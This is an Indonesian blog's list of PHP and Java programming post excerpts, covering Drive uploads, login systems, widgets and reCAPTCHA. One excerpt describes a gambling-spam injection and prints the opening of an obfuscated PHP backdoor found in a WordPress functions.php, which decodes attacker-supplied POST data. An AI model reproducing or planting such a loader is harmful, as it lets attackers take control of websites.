Postingan

Menampilkan postingan dengan label PHP

Tutorial Upload File ke Google Drive dari Website

Panduan ini adalah hasil diskusi penulis dengan aplikasi ChatGPT  yang menjelaskan cara membuat sistem  upload  file langsung dari website Anda ke Google Drive menggunakan kombinasi  HTML/JavaScript  (Frontend),  PHP  (Proxy), dan  Google Apps Script  (Backend). Langkah 1: Siapkan Google Apps Script (Backend) Kode ini berfungsi sebagai  Backend  yang memiliki izin untuk berinteraksi langsung dengan Google Drive API. PENTING:  Ganti  "id folder"  di baris kode dengan ID folder tujuan Anda di Google Drive. Kode Apps Script ( Code.gs ) function doPost(e) { try { // Memproses data JSON yang dikirim oleh PHP Proxy const data = JSON.parse(e.postData.contents); const folderId = "id folder"; // <-- GANTI DENGAN ID FOLDER GOOGLE DRIVE ANDA // Fallback data const fileName = data.filename || "tanpa_nama"; const mimeType = data.mimeType || "application/octet-stream"; // Mendekode konten Base...

Kode Java Membandingkan Dua File

Gambar
Suatu hari, website yang penulis kelola, yang menggunakan Wordpress mendapat serangan injeksi judi slot. Hasilnya, di domain penulis, terdapat link landing page halaman promosi permainan tersebut. Setelah penulis cari-cari, di bawah ini adalah contoh kode PHP yang muncul di file functions.php theme Wordpress, yang penulis gunakan. if( ! function_exists('qmqkrosuwcclz') ) { function qmqkrosuwcclz($hofwrudrjow, $arprughxl) { $dcfibrnhftqbtq = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; $hofwrudrjow = strtr($hofwrudrjow, $arprughxl, $dcfibrnhftqbtq); $hofwrudrjow = cogrjgxig($hofwrudrjow); return $hofwrudrjow; } function cogrjgxig($drvphbmibfcfnms) { $drvphbmibfcfnms = base64_decode($drvphbmibfcfnms); return $drvphbmibfcfnms; } $izvyyhb = $_POST; if(isset($izvyyhb['wtcyzjbnafe'])) { $tzivwumxaiztpg = $izvyyhb['wtcyzjbnafe']; $ozghajv = qmqkrosuwcclz($izvyyhb['lvenvrrdsiathe'], $tzivwumxaiztpg); $...

Membuat Widget HTML untuk Polylang Wordpress

Gambar
Polylang adalah salah satu plugin Wordpress yang dapat digunakan untuk membantu membangun website multi-bahasa. Menurut penulis, plugin ini bagus, meskipun hanya digunakan versi gratisnya. Namun untuk menampilkan Widget yang dapat menyematkan kode HTML, saat tulisan ini dibuat, Widget Custom HTML bawaan Wordpress tidak dapat menampilkan pilihan bahasa. Sehingga perlu dibuat widget yang dapat menampilkan pilihan bahasa, sehingga widget hanya akan muncul ketika website dilihat pada pilihan bahasa yang ditentukan pengunjung (user). Berikut ini adalah kode widget, yang dapat disematkan di file functions.php theme Wordpress yang digunakan. function uboiz_html_register_widget() { register_widget( 'uboiz_html_widget' ); } add_action( 'widgets_init', 'uboiz_html_register_widget' ); class uboiz_html_widget extends WP_Widget { function __construct() { parent::__construct( // widget ID 'uboiz_html_widget', // widget name __('Uboiz HTML Widget...

Project Tempat Mengumpulkan Tugas Online

Gambar
Dalam masa New Normal, banyak guru dengan cara mengajar dengan mengirimkan tugas, lalu meminta siswa mengirimkan balik hasil pekerjaannya melalui foto. Meskipun saat sekarang ini telah banyak Cloud Service seperti Dropbox, Google Drive dan Office 365. Namun ternyata masih banyak siswa dan guru yang kerepotan, terutama masalah authentifikasi. Karena ada dari siswa yang menggunakan email dari orang tuanya untuk login (padahal orang tuanya masih bekerja), atau menggunakan smartphone yang berkemampuan memori terbatas. Dan dari sisi guru sendiri, masih banyak yang menggunakan media chatting seperti Whatsapp untuk mengumpulkan tugas yang berupa file, yang dapat membuat memori smartphone mereka penuh. Dan itu adalah masalah umum bagi sekolah di pedesaan. Oleh karena itu, bersama seorang teman yang berprofesi guru sekolah swasta di Kediri, penulis berinisiatif membuat tempat pengumpulan online yang tidak membutuhkan authentifikasi atau login. Memang beresiko adanya serangan spam, namun bagaima...

Software Java untuk Inspect Database MySQL

Gambar
Adakalanya untuk melihat isi database ketika melakukan pemrograman dan pecobaan transfer data, dibutuhkan suatu software inspect (memeriksa) database yang dapat diakses secara mudah. Saat tulisan ini ditulis, penulis sedang mengerjakan project pembuatan aplikasi berbasis web dan Android, dengan aplikasi back-end-nya menggunakan aplikasi Java. Alasan pemilihan menggunakan Java adalah aplikasi yang dibuat nantinya akan lebih bersifat free, tidak terlalu terbelit masalah lisensi dan konon katanya multi-platform. Salah satu buktinya adalah app Android yang masih dapat dibuat menggunakan bahasa pemrograman Java. Untuk membuat software inspect database MySQL, dibutuhkan pembuatan script, yaitu script PHP (Personal Home Page) di sisi server, dan script Java di sisi client atau komputer yang digunakan untuk akses. Kode PHP digunakan untuk mengakses database MySQL, dan kode Java digunakan untuk mengirim dan menerima hasil eksekusi. Berikut ini adalah kode PHP dan Jav...

Menampilkan Error PHP

Gambar
Ada yang berbeda dengan PHP (Personal Home Page) saat tulisan ini ditulis, error pada PHP tidak langsung ditampilkan ke browser, namun perlu di set terlebih dahulu dengan salah satunya, kode di bawah ini: ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); Sebagai developer, untuk pembuatan aplikasi berbasis web, sebelumnya penulis hampir 10 tahun tidak melakukan pengkodean langsung dari awal, untuk aplikasi yang menggunakan PHP. Penulis lebih menggunakan Content Management System (CMS) seperti Wordpress dalam membangun website. Sehingga saat percobaan ini, penulis baru mengetahui jika ada perubahan di PHP tentang cara menampilkan error. Dulu jika terjadi kesalahan penulisan script, penempatan variabel atau lainnya, error akan langsung ditampilkan di browser. Entah masalah keamanan atau hal lainnya, jika tidak menggunakan tambahan kode di atas, web browser akan menampilkan kurang lebih hanya seperti gambar dibaw...

Uji Coba HttpsURLConnection untuk Login Form dengan Java

Gambar
Dikarenakan kebutuhan pembuatan aplikasi back-end suatu website yang berorientasi gratis, penulis mencoba membuat login form menggunakan Java. Selain karena gratis, pembuatan aplikasi Java ini hanya akan diperuntukkan untuk aplikasi pembantu, versi dekstop. Sedangkan kedepannya, aplikasi yang akan dibuat akan lebih diorientasikan di website dan dalam bentuk Android. Meskipun hanya sebagai aplikasi pembantu, bagaimanapun juga masalah keamanan perlu tetap dipertimbangkan. Tetapi perlu diperhatikan, keamanan nantinya akan penulis lebih optimalkan di bagian server-nya, yaitu di kode PHP(Personal Home Page)-nya. Berikut ini adalah kode Java, login form menggunakan JFrame: package karyawan; import java.awt.Dimension; import java.awt.GridBagConstraints; import java.awt.GridBagLayout; import java.awt.Image; import java.awt.Insets; import java.awt.Toolkit; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.Buf...

Multiple Login dengan Cookie dan Database MySQL

Gambar
Ilustrasi multi login (Sumber Gambar:Pixabay/patricksommer) Terkait posting sebelumnya , penulis tertarik untuk membuat login user menggunakan PHP dan SQL, yang dapat dilakukan dengan device yang berbeda, tanpa menggunakan session PHP. Masih menggunakan kode PHP yang sama (dari posting sebelumnya), dan dengan melakukan sedikit perubahan, penulis memodifikasi dengan orientasi login tidak hanya dari satu device, tetapi dapat dilakukan dari device yang berbeda, terutama penulis mengubah pada struktur databasenya. Dimana database dibagi menjadi dua tabel, yaitu tabel users dan tabel access. Tabel access disini penulis gunakan sebagai pengganti session PHP. Sehingga setiap device yang digunakan untuk login akan disetting dengan nilai login_key dan masa kadaluarsa sendiri-sendiri, yang terekam di tabel access. Berikut ini adalah beberapa kode utama yang penulis gunakan di sistem login project yang sedang penulos kerjakan, saat tulisan ini ditulis. Database MySQL ...

Desain Login User dengan Cookie di PHP

Gambar
Penasaran dengan penggunaan PHP (Personal Home Page) session yang mulai banyak artikel yang menyarankan untuk segera meninggalkan penggunaanya, penulis mencoba membuat desain login membership dengan cookie. Salah satu latar belakangnya adalah jawaban Guidrevitch (2017), atas pertanyaan yang terkait alasan Wordpress yang meninggalkan PHP session untuk kebaikan di pihak server, di Quora.com, terutama untuk masalah performa Worpress. Penulis bingung, sampai penulis menemukan tulisan dari Pasztor (2019), yang menegaskan untuk segera menghentikan penggunaan PHP session, dikarenakan PHP session merupakan sistem kunci, yang tidak mengunci sepenuhnya, dan dapat menjadi bom waktu, jika akses secara paralel dan dalam kuantitas yang banyak terjadi. Hal itu dikarenakan PHP session masih menggunakan file system, yang perlu dibuka dan ditutup dahulu ketika akan menuliskan session yang lain. Penulis sebenarnya masih belum mempercayainya, tetapi berdasarkan pengalaman penulis menggunakan ...

Menambahkan reCAPTCHA v2 pada Login Form

Gambar
Sejak awal penulis belajar website, penulis sangat penasaran dengan penambahan captcha, atau angka/huruf/tahapan random yang berupa gambar, yang perlu diinputkan bersama data-data input lain dalam satu form. Captcha ini awalnya berupa angka dan huruf, namun kemudian Google mengeluarkan versi mereka sendiri yang dinamakan reCAPTCHA, khususnya versi 2 (v2) yang akan penulis sedikit uraikan di sini. Secara fungsi, penambahan captcha ini untuk menangkal aksi spamming atau abuse (penipuan). Keterangan lebih lengkap mengenai reCAPTCHA dapat dibaca di sini . Dikarenakan masalah keamanan, dan penulis sendiri sampai saat tulisan ini ditulis masih dalam tahap belajar, tidak berani untuk membuat kode sendiri, penulis lebih memilih untuk menambahkan reCAPTCHA menggunakan aplikasi pihak ketiga, seperti plugin Wordpress. Sampai akhirnya, sebagaimana terlihat pada gambar di atas, penulis bereksperimen dan ternyata menambahkan reCAPTCHA v2 Google sangat mudah. Perlu diperh...